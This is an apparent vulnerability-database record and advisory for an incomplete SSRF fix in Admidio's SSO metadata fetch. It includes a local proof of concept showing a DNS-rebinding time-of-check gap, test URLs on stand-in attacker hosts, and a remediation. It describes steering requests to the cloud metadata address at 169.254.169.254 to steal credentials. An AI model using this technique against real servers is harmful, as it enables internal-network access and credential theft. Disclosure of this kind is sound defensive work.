{"id":"CVE-2026-42194","aliases":["GHSA-hcjj-chvw-fmw9"],"url":"https://o3.security/vulnerability/CVE-2026-42194","summary":"Incomplete fix for CVE-2026-32812: SSRF in admidio","details":"### Summary\n\nThe incomplete SSRF fix in Admidio's `fetch_metadata.php` validates the resolved IP address but passes the original hostname-based URL to `curl_init()`, leaving a DNS rebinding TOCTOU window that allows redirecting requests to internal IPs.\n\n### Affected Package\n\n- **Ecosystem:** Other\n- **Package:** admidio\n- **Affected versions:** < commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- **Patched versions:** >= commit f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n\n### Severity\n\nMedium\n\n### CWE\n\nCWE-918 — Server-Side Request Forgery (SSRF)\n\n### Details\n\nIn `modules/sso/fetch_metadata.php` (lines 21-49), the SSO metadata fetch validates the URL scheme is HTTPS (line 21), runs `filter_var($rawUrl, FILTER_VALIDATE_URL)` (line 27), resolves the hostname via `gethostbyname()` and checks the IP against private/reserved ranges (lines 34-38), then passes the original URL with the hostname to `curl_init($url)` at line 41.\n\nThe fundamental problem is at step 4: cURL resolves the hostname again independently. Between `gethostbyname()` at step 3 and `curl_exec()` at step 4, a DNS rebinding attack can cause the hostname to resolve to `169.254.169.254` (AWS metadata), `127.0.0.1`, or any other internal address. No `CURLOPT_RESOLVE` is set to pin the hostname to the validated IP.\n\nThe TOCTOU window between `gethostbyname()` and `curl_exec()` is the core issue, and the patch does not close it.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nCVE-2026-32812 - Admidio SSRF via DNS Rebinding in fetch_metadata.php\n\nVulnerability: modules/sso/fetch_metadata.php resolves hostname via gethostbyname()\nand checks if IP is private, but passes the ORIGINAL URL (with hostname) to curl_init().\nDNS rebinding can cause hostname to resolve to internal IP when cURL actually connects.\n\nReal vulnerable PHP code copied from:\n  Admidio/admidio, modules/sso/fetch_metadata.php\n\nThis PoC runs the actual PHP validation logic via `php -r`.\n\"\"\"\n\nimport subprocess\nimport sys\nimport os\n\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nVULN_PHP = os.path.join(SCRIPT_DIR, \"fetch_metadata.php\")\n\n\ndef run_php(code):\n    return subprocess.run([\"php\", \"-r\", code], capture_output=True, text=True, timeout=15)\n\n\ndef main():\n    if not os.path.exists(VULN_PHP):\n        print(f\"ERROR: Vulnerable PHP source not found at {VULN_PHP}\")\n        sys.exit(1)\n\n    print(f\"Source file: {VULN_PHP}\")\n    print(\"Extracted from: Admidio/admidio, modules/sso/fetch_metadata.php\\n\")\n\n    php_code = r\"\"\"\n    echo \"=== CVE-2026-32812: Admidio SSRF via DNS Rebinding ===\\n\\n\";\n\n    // Extracted from: modules/sso/fetch_metadata.php lines 21-49\n    // Character-for-character copy of the validation logic:\n    function test_admidio_ssrf_filter($rawUrl, $simulated_ip) {\n        // Only allow https:// scheme (line 21)\n        if (!preg_match('#^https://#i', $rawUrl)) {\n            return ['blocked' => true, 'reason' => 'Not HTTPS'];\n        }\n\n        // Validate URL (line 27)\n        $url = filter_var($rawUrl, FILTER_VALIDATE_URL);\n        if (!$url) {\n            return ['blocked' => true, 'reason' => 'Invalid URL'];\n        }\n\n        // Resolve hostname and block internal/private IP ranges (lines 34-38)\n        $host = parse_url($url, PHP_URL_HOST);\n        $ip = $simulated_ip;  // In real code: gethostbyname($host)\n\n        if (filter_var($ip, FILTER_VALIDATE_IP,\n            FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {\n            return ['blocked' => true, 'reason' => \"Private/reserved IP: $ip\"];\n        }\n\n        // VULNERABILITY: curl_init($url) at line 41 uses original URL with hostname\n        return [\n            'blocked' => false,\n            'url_passed_to_curl' => $url,\n            'host' => $host,\n            'checked_ip' => $ip,\n        ];\n    }\n\n    $tests = [\n        ['https://attacker-rebind.example.com/saml/metadata', '93.184.216.34',\n         'Public IP at check time - passes, then DNS rebinds to 169.254.169.254'],\n        ['https://attacker-rebind.example.com/saml/metadata', '169.254.169.254',\n         'After rebind to metadata - blocked IF re-checked'],\n        ['https://192.168.1.1/admin', '192.168.1.1',\n         'Direct private IP - blocked'],\n        ['https://10.0.0.1/internal', '10.0.0.1',\n         'Direct internal IP - blocked'],\n        ['http://attacker.com/metadata', '93.184.216.34',\n         'HTTP scheme - blocked (HTTPS required)'],\n        ['https://evil.com/metadata', '8.8.8.8',\n         'External HTTPS URL - passes'],\n    ];\n\n    $vuln_found = false;\n    foreach ($tests as $test) {\n        $result = test_admidio_ssrf_filter($test[0], $test[1]);\n        $status = $result['blocked'] ? 'BLOCKED' : 'PASSED';\n        echo sprintf(\"%-65s => %s\\n\", $test[2], $status);\n\n        if (!$result['blocked']) {\n            $curl_host = parse_url($result['url_passed_to_curl'], PHP_URL_HOST);\n            if ($curl_host !== $result['checked_ip']) {\n                echo \"  VULN: cURL gets hostname '$curl_host' (checked IP: '{$result['checked_ip']}')\\n\";\n                echo \"  DNS can rebind between gethostbyname() and cURL connect\\n\";\n                $vuln_found = true;\n            }\n        }\n    }\n\n    echo \"\\n=== Key Finding ===\\n\";\n    echo \"fetch_metadata.php line 41: curl_init(\\$url) uses ORIGINAL URL with hostname\\n\";\n    echo \"IP check on line 35 used gethostbyname() result.\\n\";\n    echo \"TOCTOU window: DNS can rebind between check and cURL connection.\\n\";\n    echo \"CURLOPT_RESOLVE is NOT set to pin hostname to checked IP.\\n\\n\";\n\n    if ($vuln_found) {\n        echo \"VULNERABILITY CONFIRMED\\n\";\n    }\n    \"\"\"\n\n    result = run_php(php_code)\n    print(result.stdout)\n    if result.stderr:\n        print(f\"PHP stderr: {result.stderr}\")\n\n    if \"VULNERABILITY CONFIRMED\" in result.stdout:\n        print(\"VULNERABILITY CONFIRMED\")\n        sys.exit(0)\n    else:\n        print(\"Vulnerability test inconclusive\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n**Steps to reproduce:**\n1. Place the vulnerable `fetch_metadata.php` source in the same directory.\n2. Ensure PHP CLI is installed, then run `python3 poc.py`.\n3. Observe the TOCTOU window where cURL receives a hostname instead of the validated IP.\n\n**Expected output:**\n```\nVULNERABILITY CONFIRMED\ncurl_init() uses the original hostname-based URL while IP validation used gethostbyname(), leaving a DNS rebinding TOCTOU window.\n```\n\n### Impact\n\nAn attacker can exploit the SSO metadata fetch endpoint to make the Admidio server issue HTTPS requests to internal services. On cloud-hosted instances, this enables reading the instance metadata service (`169.254.169.254`) to steal IAM credentials. On-premise deployments can be used to scan internal networks or access localhost services.\n\n### Suggested Remediation\n\nUse `CURLOPT_RESOLVE` to pin the hostname to the IP address returned by `gethostbyname()`, ensuring cURL connects to the exact IP that was validated:\n\n```php\n$resolve = [\"$host:443:$ip\"];\ncurl_setopt($ch, CURLOPT_RESOLVE, $resolve);\n```\n\n### Resources\n\n- Incomplete fix commit: https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a\n- Original CVE: CVE-2026-32812","published":"2026-05-07T03:01:04.830Z","modified":"2026-08-12T03:51:41.913120676Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"},"epss":{"score":0.00236,"percentile":0.14651,"asOf":"2026-08-13"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"admidio/admidio","fixedVersion":"5.0.9"}],"fix":{"url":"https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a","label":"Admidio/admidio@f6b7a96"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"},{"type":"ADVISORY","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-hcjj-chvw-fmw9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42194.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42194"},{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-6j68-gcc3-mq73"},{"type":"WEB","url":"https://github.com/Admidio/admidio/commit/f6b7a966abe4d75e9f707d665d7b4b5570e3185a"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:41.913120676Z"}}